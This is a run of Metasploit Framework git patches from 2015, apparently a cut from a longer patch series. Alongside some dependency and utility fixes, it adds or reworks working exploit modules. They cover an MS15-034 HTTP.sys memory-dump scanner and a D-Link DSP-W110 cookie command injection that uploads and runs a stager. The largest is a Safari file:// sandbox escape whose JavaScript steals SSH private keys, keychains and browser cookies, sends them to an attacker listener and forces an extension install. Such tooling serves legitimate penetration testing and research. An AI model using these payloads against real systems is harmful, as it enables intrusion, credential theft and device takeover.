Trident/6.0)\r\nAccept: */*\r\nConnection: keep-alive\r\nRange: #{ranges}\r\n\r\n" - sock.put(req) + uri = normalize_uri(target_uri.path) + cli = Rex::Proto::Http::Client.new(ip) + cli.connect + req = cli.request_raw( + 'uri' => target_uri.path, + 'method' => 'GET', + 'headers' => { + 'Range' => ranges + } + ) + cli.send_request(req) print_good("Stand by...") - resp = String.new - loop do - sleep 2 + resp = cli.read_response - buf = sock.get_once(-1, 2) - if buf - resp << buf - else - break - end - end - - if resp and not resp.empty? - dump(resp) + if resp + dump(resp.to_s) loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') print_status("Memory dump saved to #{loot_path}") else - print_error("Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)") - return + print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect") @@ -174,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary print_error("Timeout receiving from socket") return ensure - sock.close if sock + cli.close if cli end end end From 8ce5cc23cf1dc8dddcd421f2773bea970882c010 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 01:08:34 -0500 Subject: [PATCH 0516/1013] More consistent filename style --- ...4_http_sys_memory_dump.rb => ms15_034_http_sys_memory_dump.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{ms15034_http_sys_memory_dump.rb => ms15_034_http_sys_memory_dump.rb} (100%) diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb similarity index 100% rename from modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb rename to modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb From 6127b8a0377691d198d8c158764b56d1b34ab0d4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 01:23:01 -0500 Subject: [PATCH 0517/1013] Pass user-agent --- .../scanner/http/ms15_034_http_sys_memory_dump.rb | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index a759af70a4..e3fa94d1aa 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -179,7 +179,17 @@ class Metasploit3 < Msf::Auxiliary ranges = calc_ranges(content_length) uri = normalize_uri(target_uri.path) - cli = Rex::Proto::Http::Client.new(ip) + cli = Rex::Proto::Http::Client.new( + ip, + rport, + {}, + datastore['SSL'], + datastore['SSLVersion'], + nil, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + cli.set_config('agent' => datastore['UserAgent']) cli.connect req = cli.request_raw( 'uri' => target_uri.path, From 11366971daa7e21a0cf6f7af3d1e795f129df6fc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 01:24:17 -0500 Subject: [PATCH 0518/1013] Oh never mind, user-agent makes it more difficult to use (more crashes) --- modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index e3fa94d1aa..d8947393fd 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -189,7 +189,6 @@ class Metasploit3 < Msf::Auxiliary datastore['USERNAME'], datastore['PASSWORD'] ) - cli.set_config('agent' => datastore['UserAgent']) cli.connect req = cli.request_raw( 'uri' => target_uri.path, From 59af7ef1fc305788aa1cd8f3b54ce81713df5be4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 10:27:50 -0500 Subject: [PATCH 0519/1013] Remove the extra target_uri --- .../auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index d8947393fd..2fe39b2369 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -48,9 +48,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('VHOST') end - def target_uri - @target_uri ||= super - end def potential_static_files_uris uri = normalize_uri(target_uri.path) From 60469941388c831b5b35736621aff84e4ad8e141 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 23 Jun 2015 10:31:01 -0500 Subject: [PATCH 0520/1013] version does not return nil --- modules/exploits/multi/http/glassfish_deployer.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 272950dd77..61fa5a56fb 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -309,11 +309,11 @@ class Metasploit3 < Msf::Exploit::Remote #Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ version = $2 - elsif banner =~ /GlassFish v(\d)/ and version.nil? + elsif banner =~ /GlassFish v(\d)/ and version == 'Unknown' version = $1 - elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version.nil? + elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version == 'Unknown' version = '2.x' - elsif banner =~ /Sun Java System Application Server 9/ and version.nil? + elsif banner =~ /Sun Java System Application Server 9/ and version == 'Unknown' version = '9.x' end From 67e711998b321838c393d80ddf33dc37cf23c4b6 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 23 Jun 2015 12:04:12 -0500 Subject: [PATCH 0521/1013] Do not create the payloads.json file until first usage --- lib/rex/json_hash_file.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb index 00556efdfe..59d1b42d2d 100644 --- a/lib/rex/json_hash_file.rb +++ b/lib/rex/json_hash_file.rb @@ -17,7 +17,6 @@ class JSONHashFile @hash = {} @last = 0 ::FileUtils.mkdir_p(::File.dirname(path)) - synced_update end def [](k) From 3141d4e465192b3832e579b695d2ad9a783cdd02 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 23 Jun 2015 10:44:15 -0700 Subject: [PATCH 0522/1013] Relocate the mkdir to synced_update --- lib/rex/json_hash_file.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb index 59d1b42d2d..fc282d057c 100644 --- a/lib/rex/json_hash_file.rb +++ b/lib/rex/json_hash_file.rb @@ -16,7 +16,6 @@ class JSONHashFile @lock = Mutex.new @hash = {} @last = 0 - ::FileUtils.mkdir_p(::File.dirname(path)) end def [](k) @@ -52,6 +51,7 @@ private # Save the file, but prevent thread & process contention def synced_update(&block) @lock.synchronize do + ::FileUtils.mkdir_p(::File.dirname(path)) ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| fd.flock(::File::LOCK_EX) @@ -80,7 +80,6 @@ private end end - def parse_data(data) return {} if data.to_s.strip.length == 0 begin From a9ab5b7bb89cf33b28df013b8adea86e7c9a4cc3 Mon Sep 17 00:00:00 2001 From: Trevor Rosen Date: Tue, 23 Jun 2015 14:08:23 -0500 Subject: [PATCH 0523/1013] Handle content-type weirdness from Anemone Fixes #5515 MSP-12834 --- Gemfile | 2 -- Gemfile.lock | 32 +++++++++++++------------------- metasploit-framework-db.gemspec | 2 +- 3 files changed, 14 insertions(+), 22 deletions(-) diff --git a/Gemfile b/Gemfile index 4cced580c1..225cadb5e1 100755 --- a/Gemfile +++ b/Gemfile @@ -24,8 +24,6 @@ group :development do gem 'pry' end -gem 'metasploit_data_models', git: 'git@github.com:rapid7/metasploit_data_models', branch:'bug/MSP-12834/crawler-choke-on-save' - group :development, :test do # automatically include factories from spec/factories gem 'factory_girl_rails', '~> 4.5.0' diff --git a/Gemfile.lock b/Gemfile.lock index 1c2cb44943..fa5381d9d5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,19 +1,3 @@ -GIT - remote: git@github.com:rapid7/metasploit_data_models - revision: c36c800866d42187c21c1308a9bac5f3278d8aa3 - branch: bug/MSP-12834/crawler-choke-on-save - specs: - metasploit_data_models (1.2.4) - activerecord (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) - arel-helpers - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - pg - postgres_ext - railties (>= 4.0.9, < 4.1.0) - recog (~> 2.0) - PATH remote: . specs: @@ -40,6 +24,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (~> 1.0) metasploit-framework (= 4.11.0.pre.dev) + metasploit_data_models (~> 1.2) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -139,6 +124,16 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.2) + metasploit_data_models (1.2.5) + activerecord (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) + arel-helpers + metasploit-concern (~> 1.0) + metasploit-model (~> 1.0) + pg + postgres_ext + railties (>= 4.0.9, < 4.1.0) + recog (~> 2.0) method_source (0.8.2) mime-types (2.4.3) mini_portile (0.6.2) @@ -161,7 +156,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.5.3) + rack (1.5.5) rack-test (0.6.3) rack (>= 1.0) rails (4.0.13) @@ -179,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (2.0.5) + recog (2.0.6) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) @@ -243,7 +238,6 @@ DEPENDENCIES metasploit-framework! metasploit-framework-db! metasploit-framework-pcap! - metasploit_data_models! pry rake (>= 10.0.0) redcarpet diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index ecf71ac825..d64792775f 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' # Database models shared between framework and Pro. - #spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' + spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails From 5751e196bbb2cc1e15d15c17dbe23072bf9018f6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 23 Jun 2015 14:43:37 -0500 Subject: [PATCH 0524/1013] Remove extraneous newline --- modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index 2fe39b2369..ff2401db30 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -48,7 +48,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('VHOST') end - def potential_static_files_uris uri = normalize_uri(target_uri.path) From 93c58ae76d42e444121fde3d1ee6a64a6d2a8cf1 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 23 Jun 2015 13:07:23 -0700 Subject: [PATCH 0525/1013] Bump recog to 2.0.6 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index c7d5318770..e47b18f8a9 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -174,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (2.0.5) + recog (2.0.6) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) From 8bc012a665ca612c22948e80191865dbcfecea67 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 23 Jun 2015 23:09:08 +0200 Subject: [PATCH 0526/1013] echo stager via upload vulnerability --- .../http/dlink_dspw110_cookie_noauth_exec.rb | 137 +++++++++--------- 1 file changed, 65 insertions(+), 72 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index 76ea25f2fa..38f31f9672 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -9,13 +9,14 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Cookie Command Execution', 'Description' => %q{ - This module exploits an anonymous remote code execution vulnerability on different D-Link - devices. The vulnerability is a command injection in the cookie handling process of the + This module exploits an anonymous remote upload and code execution vulnerability on different + D-Link devices. The vulnerability is a command injection in the cookie handling process of the lighttpd web server when handling specially crafted cookie values. This module has been successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real device. @@ -32,37 +33,27 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC ], 'DisclosureDate' => 'Jun 12 2015', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Payload' => + 'Payload' => { - 'Compat' => { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find', - }, + 'DisableNops' => true }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ - [ 'Automatic', { } ] + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE + } + ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 1 )) - - register_advanced_options( - [ - OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), - OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) - - end - - def tel_timeout - (datastore['TelnetTimeout'] || 10).to_i - end - - def banner_timeout - (datastore['TelnetBannerTimeout'] || 25).to_i end def check @@ -89,64 +80,66 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end - print_status("#{peer} - Exploiting...") + print_status("#{peer} - Uploading stager ...") + @counter = 1 + execute_cmdstager( + :flavor => :echo, + :linemax => 99 #limited by our upload, larger payloads crash the web server + ) - cmd = "telnetd -l/bin/sh" - execute_command(cmd) - telnetport = 23 - handle_telnet(telnetport) + print_status("#{peer} - creating payload and executing it ...") + + (1 .. @counter).each do |act_file| + #the http server blocks access to our files ... we copy it to a new one + #the length of our command is restricted to 19 characters + cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "chmod +x /tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "/tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "rm /tmp/#{act_file}" + execute_final_command(cmd) + cmd = "rm /tmp/#{act_file+@counter}" + execute_final_command(cmd) + end end - def handle_telnet(telnetport) + def execute_command(cmd,opts) + #upload our stager to a shell script + #upload takes quite long because there is no response from the web server - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + data_cmd = "------------------------------9bcdb049f0d2\r\n" + data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n" + data_cmd << "Content-Type: application/octet-stream\r\n\r\n" + data_cmd << "#!/bin/sh\n" + data_cmd << cmd + data_cmd << "\n------------------------------9bcdb049f0d2--" - if sock - print_good("#{peer} - Backdoor service spawned") - add_socket(sock) - else - fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") - end + @counter = @counter + 1 - print_status("#{peer} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session") - else - print_good("#{peer} - Telnet session successfully established...") - end - - handler(sock) - end - - def execute_command(cmd) begin - res = send_request_cgi({ + send_request_cgi({ + 'method' => 'POST', + 'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/", + 'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2", + 'data' => data_cmd + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + + end + + def execute_final_command(cmd) + begin + send_request_cgi({ 'method' => 'GET', 'uri' => "/", 'cookie' => "i=`#{cmd}`" }, 5) - return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end - - # Since there isn't user/password negotiation, just wait until the prompt is there - def negotiate_telnet(sock) - begin - Timeout.timeout(banner_timeout) do - while(true) - data = sock.get_once(-1, tel_timeout) - return nil if not data or data.length == 0 - if data =~ /\x23\x20$/ - return true - end - end - end - rescue ::Timeout::Error - return nil - end - end end From 18a9585f7a06ef984261ad949026b4f21ee02de7 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 23 Jun 2015 16:15:50 -0500 Subject: [PATCH 0527/1013] Add safari module for CVE-2015-1155 --- lib/msf/core/format/webarchive.rb | 369 ++++++++++++++++++ .../gather/safari_file_url_navigation.rb | 349 +++++++++++++++++ 2 files changed, 718 insertions(+) create mode 100644 lib/msf/core/format/webarchive.rb create mode 100644 modules/auxiliary/gather/safari_file_url_navigation.rb diff --git a/lib/msf/core/format/webarchive.rb b/lib/msf/core/format/webarchive.rb new file mode 100644 index 0000000000..df369f7438 --- /dev/null +++ b/lib/msf/core/format/webarchive.rb @@ -0,0 +1,369 @@ +#safari.installExtension("com.pinterest.extension-HWZFLG9PNK","http://assets.pinterest.com/ext/Pinterest-Safari.safariextz") + +module Msf +module Format +module Webarchive + + def initialize(info={}) + super + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), + OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), + OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), + OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), + OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), + OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install"]), + OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install"]) + ], + self.class) + end + + ### ASSEMBLE THE WEBARCHIVE XML ### + + # @return [String] contents of webarchive as an XML document + def webarchive_xml + return @xml if not @xml.nil? # only compute xml once + @xml = webarchive_header + @xml << webarchive_footer + @xml + end + + # @return [String] the first chunk of the webarchive file, containing the WebMainResource + def webarchive_header + %Q| + + + + + WebMainResource + + WebResourceData + + #{Rex::Text.encode_base64(iframes_container_html)} + WebResourceFrameName + + WebResourceMIMEType + text/html + WebResourceTextEncodingName + UTF-8 + WebResourceURL + file:/// + + WebSubframeArchives + + | + end + + # @return [String] the closing chunk of the webarchive XML code + def webarchive_footer + %Q| + + + + | + end + + #### JS/HTML CODE #### + + # Wraps the result of the block in an HTML5 document and body + def wrap_with_doc(&blk) + %Q| + + + + #{yield} + + + | + end + + # Wraps the result of the block with " + end + + # @return [String] mark up for embedding the iframes for each URL in a place that is + # invisible to the user + def iframes_container_html + hidden_style = "position:fixed; left:-600px; top:-600px;" + wrap_with_doc do + frames = "" + communication_js + frames + injected_js_helpers + steal_files + install_extension + message + end + end + + # @return [String] javascript code, wrapped in script tags, that is inserted into the + # WebMainResource (parent) frame so that child frames can communicate "up" to the parent + # and send data out to the listener + def communication_js + wrap_with_script do + %Q| + window.addEventListener('message', function(event){ + var x = new XMLHttpRequest; + x.open('POST', '#{backend_url}#{collect_data_uri}', true); + x.send(event.data); + }); + | + end + end + + def apple_extension_url + 'https://extensions.apple.com' + end + + def install_extension + wrap_with_script do + %Q| + var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); + var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); + + setTimeout(function(){ + function go(){ + window.focus(); + window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x') + } + setInterval(go, 400); + }, 600); + + | + end + end + + # @return [String] javascript code, wrapped in a script tag, that steals local files + # and sends them back to the listener. This code is executed in the WebMainResource (parent) + # frame, which runs in the file:// protocol + def steal_files + return '' unless should_steal_files? + urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ') + wrap_with_script do + %Q| + var filesStr = "#{urls_str}"; + var files = filesStr.trim().split(/\s+/); + function stealFile(url) { + var req = new XMLHttpRequest(); + var sent = false; + req.open('GET', url, true); + req.onreadystatechange = function() { + if (!sent && req.responseText && req.responseText.length > 0) { + sendData(url, req.responseText); + sent = true; + } + }; + req.send(null); + }; + files.forEach(stealFile); + + | + steal_default_files + end + end + + def default_files + ('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+ + 'file:///Users/$USER/Library/Keychains/login.keychain ' + + (datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip + end + + def steal_default_files + %Q| + + try { + +function xhr(url, cb, responseType) { + var x = new XMLHttpRequest; + x.onload = function() { cb(x) } + x.open('GET', url); + if (responseType) x.responseType = responseType; + x.send(); +} + +var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log']; +var done = 0; +var _u = {}; + +var cookies = []; +files.forEach(function(f) { + xhr(f, function(x) { + var m; + var users = []; + var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g; + while ((m = pattern.exec(x.responseText)) !== null) { + if(!_u[m[1]]) { users.push(m[1]); } + _u[m[1]] = 1; + } + + if (users.length) { next(users); } + }); +}); + +var id=0; +function next(users) { + // now lets steal all the data we can! + sendData('usernames'+id, users); + id++; + users.forEach(function(user) { + + if (#{datastore['STEAL_COOKIES']}) { + xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) { + parseBinaryFile(x.response); + }, 'arraybuffer'); + } + + if (#{datastore['STEAL_FILES']}) { + var files = '#{Rex::Text.encode_base64(default_files)}'; + atob(files).split(/\\s+/).forEach(function(file) { + file = file.replace('$USER', encodeURIComponent(user)); + xhr(file, function(x) { + sendData(file.replace('file://', ''), x.responseText); + }); + }); + } + + }); +} + +function parseBinaryFile(buffer) { + var data = new DataView(buffer); + + // check for MAGIC 'cook' in big endian + if (data.getUint32(0, false) != 1668247403) + throw new Error('Invalid magic at top of cookie file.') + + // big endian length in next 4 bytes + var numPages = data.getUint32(4, false); + var pageSizes = [], cursor = 8; + for (var i = 0; i < numPages; i++) { + pageSizes.push(data.getUint32(cursor, false)); + cursor += 4; + } + + pageSizes.forEach(function(size) { + parsePage(buffer.slice(cursor, cursor + size)); + cursor += size; + }); + + reportStolenCookies(); +} + +function parsePage(buffer) { + var data = new DataView(buffer); + if (data.getUint32(0, false) != 256) { + return; // invalid magic in page header + } + + var numCookies = data.getUint32(4, true); + var offsets = []; + for (var i = 0; i < numCookies; i++) { + offsets.push(data.getUint32(8+i*4, true)); + } + + offsets.forEach(function(offset, idx) { + var next = offsets[idx+1] \|\| buffer.byteLength - 4; + try{parseCookie(buffer.slice(offset, next));}catch(e){}; + }); +} + +function read(data, offset) { + var str = '', c = null; + try { + while ((c = data.getUint8(offset++)) != 0) { + str += String.fromCharCode(c); + } + } catch(e) {}; + return str; +} + +function parseCookie(buffer) { + var data = new DataView(buffer); + var size = data.getUint32(0, true); + var flags = data.getUint32(8, true); + var urlOffset = data.getUint32(16, true); + var nameOffset = data.getUint32(20, true); + var pathOffset = data.getUint32(24, true); + var valueOffset = data.getUint32(28, true); + + var result = { + value: read(data, valueOffset), + path: read(data, pathOffset), + url: read(data, urlOffset), + name: read(data, nameOffset), + isSecure: flags & 1, + httpOnly: flags & 4 + }; + + cookies.push(result); +} + +function reportStolenCookies() { + if (cookies.length > 0) { + sendData('cookieDump', cookies); + } +} + +} catch (e) { console.log('ERROR: '+e.message); } + + | + end + + # @return [String] javascript code, wrapped in script tag, that adds a helper function + # called "sendData()" that passes the arguments up to the parent frame, where it is + # sent out to the listener + def injected_js_helpers + wrap_with_script do + %Q| + window.sendData = function(key, val) { + var data = {}; + data[key] = val; + window.top.postMessage(JSON.stringify(data), "*") + }; + | + end + end + + ### HELPERS ### + + # @return [String] the path to send data back to + def collect_data_uri + '/' + datastore["URIPATH"].chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] + end + + # @return [String] formatted http/https URL of the listener + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" + "#{proto}://#{myhost}#{port_str}" + end + + # @return [String] URL that serves the malicious webarchive + def webarchive_download_url + datastore["DOWNLOAD_PATH"] + end + + # @return [String] HTML content that is rendered in the of the webarchive. + def message + "

    You are being redirected. Click here if nothing happens.

    " + end + + # @return [Array] of URLs provided by the user + def urls + (datastore['URLS'] || '').split(/\s+/) + end + + # @param [String] input the unencoded string + # @return [String] input with dangerous chars replaced with xml entities + def escape_xml(input) + input.to_s.gsub("&", "&").gsub("<", "<") + .gsub(">", ">").gsub("'", "'") + .gsub("\"", """) + end + + def should_steal_files? + datastore['STEAL_FILES'] + end + +end +end +end diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb new file mode 100644 index 0000000000..85a95e214f --- /dev/null +++ b/modules/auxiliary/gather/safari_file_url_navigation.rb @@ -0,0 +1,349 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' +require 'msf/core/format/webarchive' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::FtpServer + include Msf::Format::Webarchive + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape', + 'Description' => %q{ + Due to an issue in the way Safari handles error page origins, + an attacker who can entice a user into visiting a malicious page + can gain a reference to the resulting error page in the file:// scheme. + From there, the attacker can access cross-domain globals, such as 'location' + and 'history,' which leads to a total compromise of the sandbox. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joev' # discovery, module + ], + 'References' => [ + ['ZDI', '15-288'], + ['CVE', '2015-1155'] + ], + 'Platform' => 'osx', + 'Targets' => + [ + [ 'Mac OS X', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 16 2014' + )) + + + register_options( + [ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]), + OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]) + ], self.class ) + end + + def lookup_lhost(c=nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address( c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + + def on_request_uri(cli, req) + if req.method =~ /post/i + begin + data_str = if req.body.size > 0 + req.body + else + req.qstring['data'] + end + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response(cli, 200, 'OK', '') + print_good "data #{data.keys.join(',')} received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + print_error "Invalid JSON received." + send_not_found(cli) + end + elsif req.uri =~ /#{popup_path}$/ + send_response(cli, 200, 'OK', popup_html) + else + send_response(cli, 200, 'OK', exploit_html) + end + end + + def ftp_user + @ftp_user ||= Rex::Text.rand_text_alpha(6) + end + + def ftp_pass + @ftp_pass ||= Rex::Text.rand_text_alpha(6) + end + + def exploit_html + %Q| + + + The page has moved. Click here to be redirected. + + | + end + + def ftp_url + "ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}" + end + + def popup_html + %Q| + + | + end + + # + # Handle FTP LIST request (send back the directory listing) + # + def on_client_command_list(c, arg) + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + print_status("Data connection setup") + c.put("150 Here comes the directory listing\r\n") + + print_status("Sending directory list via data connection #{webarchive_size}") + month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 